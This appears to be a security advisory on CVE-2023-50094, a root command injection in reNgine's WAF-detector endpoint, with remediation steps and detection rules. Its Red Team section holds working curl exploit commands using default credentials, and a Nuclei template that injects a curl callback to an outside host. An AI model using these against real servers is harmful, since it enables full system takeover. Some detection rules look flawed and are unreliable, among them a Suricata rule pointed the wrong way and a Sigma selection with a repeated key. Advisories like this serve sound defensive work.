CVE-2023-50094

Executive Summary

CVE-2023-50094 is a critical OS Command Injection vulnerability in reNgine, an open-source automated reconnaissance framework for web applications. The flaw resides in the /api/tools/waf_detector/?url= endpoint, where an authenticated attacker can inject arbitrary shell metacharacters. These commands are executed with root privileges via Python's subprocess.check_output function. The vulnerability affects all versions prior to 2.1.2. Given the high CVSS score of 8.8 and the availability of a public proof-of-concept (PoC) and Nuclei template, this vulnerability poses a severe risk to any organization using an unpatched instance of reNgine. Immediate patching is critical.

Supply Chain & Package Security

reNgine is a Python-based application distributed via GitHub. The vulnerability is introduced in the application's own code, not in a third-party package. However, the use of subprocess.check_output with unsanitized user input is a classic insecure coding practice. Organizations should verify their software supply chain for any dependencies that might be affected by similar command injection flaws.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Valid session required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The low attack complexity, network exploitability, and root-level execution make this a prime target for attackers. The public PoC and EPSS score of 0.88564 (99.5th percentile) indicate active exploitation is likely.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78). The vulnerable endpoint /api/tools/waf_detector/ accepts a url parameter. The application passes this parameter directly to a shell command without proper sanitization or escaping. Specifically, the code uses subprocess.check_output to execute a command that includes the user-supplied URL. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.

The attack flow is:

1. Attacker obtains a valid session ID (e.g., by logging in).
2. Attacker sends a crafted request to /api/tools/waf_detector/?url=<payload>.
3. The payload contains shell metacharacters followed by the attacker's command.
4. The command is executed as root on the server.

The Nuclei template provided in the Hacker Arsenal demonstrates a two-step attack: first, it logs in to obtain a session, then it injects a command via the /scan-engine/update endpoint (a different but related vulnerable endpoint). The core principle is the same: unsanitized input leads to command execution.

Vulnerable vs. Patched Code

Vulnerable Code (reNgine < 2.1.2):

# Hypothetical vulnerable code
import subprocess

def waf_detector(url):
    command = f"wafw00f -a {url}"
    output = subprocess.check_output(command, shell=True)
    return output

Patched Code (reNgine >= 2.1.2):

# Hypothetical patched code
import subprocess
import shlex

def waf_detector(url):
    sanitized_url = shlex.quote(url)  # Properly escape shell metacharacters
    command = f"wafw00f -a {sanitized_url}"
    output = subprocess.check_output(command, shell=True)
    return output

The patch introduces shlex.quote() to escape the URL, preventing shell injection. Alternatively, the application could avoid using shell=True and pass arguments as a list.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of reNgine < 2.1.2
• Valid credentials (e.g., admin:admin)

Exploitation Steps:

1. Login to reNgine:

   curl -c cookies.txt -X POST http://target/login \
     -d "username=admin&password=admin"
   

2. Inject Command via WAF Detector:

   curl -b cookies.txt "http://target/api/tools/waf_detector/?url=example.com;id"
   

3. Verify Execution: The output of the id command will be returned in the response.

Alternative Exploit (using Nuclei): The provided Nuclei template can be used with the nuclei tool:

nuclei -u http://target -t CVE-2023-50094.yaml -var 'username=admin' -var 'password=admin'

Blue Team (Defensive)

Detection:

• Monitor for requests to /api/tools/waf_detector/ with suspicious url parameters containing shell metacharacters (;, |, &&, `, $()).
• Alert on unusual process execution from the reNgine user (e.g., id, whoami, curl to external IPs).
• Monitor for outbound connections from the reNgine server to unknown IPs (potential data exfiltration).

Hunting:

• Search logs for subprocess.check_output calls with non-standard arguments.
• Look for anomalies in the waf_detector function's output.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/tools/waf_detector/ with url parameter containing shell metacharacters.
  • Outbound connections from the reNgine server to attacker-controlled IPs (e.g., for reverse shells).
• File System:
  • Unexpected files in /tmp/ or /var/www/ created by the www-data or root user.
  • Modified system binaries (e.g., /bin/bash replaced with a backdoor).
• Process:
  • Unusual processes spawned by the reNgine application (e.g., bash, nc, curl, wget).
• Logs:
  • reNgine application logs showing failed or suspicious waf_detector calls.

Detection Engineering

YARA Rule

rule CVE_2023_50094_reNgine_Command_Injection {
    meta:
        description = "Detects command injection attempts against reNgine WAF detector endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-50094"
    strings:
        $s1 = "/api/tools/waf_detector/" ascii wide nocase
        $s2 = "url=" ascii wide nocase
        $s3 = /[;&|`$(){}]/
    condition:
        $s1 and $s2 and #s3 > 2
}

Sigma Rule

title: CVE-2023-50094 reNgine Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit OS command injection in reNgine WAF detector endpoint
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50094
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/tools/waf_detector/"
        cs-uri-query|contains: "url="
        cs-uri-query|re: ".*[;&|`$(){}].*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in URL (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-50094 reNgine Command Injection Attempt";
    flow:to_server,established;
    content:"/api/tools/waf_detector/"; http_uri;
    content:"url="; http_uri;
    pcre:"/[;&|`$(){}]/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template (from Hacker Arsenal)

id: CVE-2023-50094

info:
  name: reNgine 2.2.0 - Command Injection
  author: Zierax
  severity: high
  description: |
    reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
  impact: |
    Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.
  remediation: |
    Upgrade reNgine to version 2.1.2 or later which includes proper input validation.
  reference:
    - https://github.com/yogeshojha/rengine
    - https://github.com/Zierax/CVE-2023-50094_POC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-50094
    cwe-id: CWE-78
    epss-score: 0.88564
    epss-percentile: 0.99511
    cpe: cpe:2.3:a:yogeshojha:rengine:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: yogeshojha
    product: rengine
    shodan-query: title:"reNgine"
  tags: cve,cve2023,rengine,rce,injection,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rengine")'
        internal: true

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        POST /scan-engine/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"nmap_cmd": 'curl {{interactsh-url}}'}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol_2, "dns")'
          - 'status_code_2 == 200'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Upgrade reNgine to version 2.1.2 or later. This is the only complete fix.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to /api/tools/waf_detector/ containing shell metacharacters.
3. Restrict network access to the reNgine web interface to trusted IPs only.
4. Review and rotate all credentials used in the reNgine environment.

Long-term Recommendations:

• Implement input validation and output encoding for all user-supplied data.
• Avoid using shell=True in subprocess calls; use argument lists instead.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other components of the application.

Valters IT

{/* [Security Hash: 302120F283B6E7197943FFA6] */}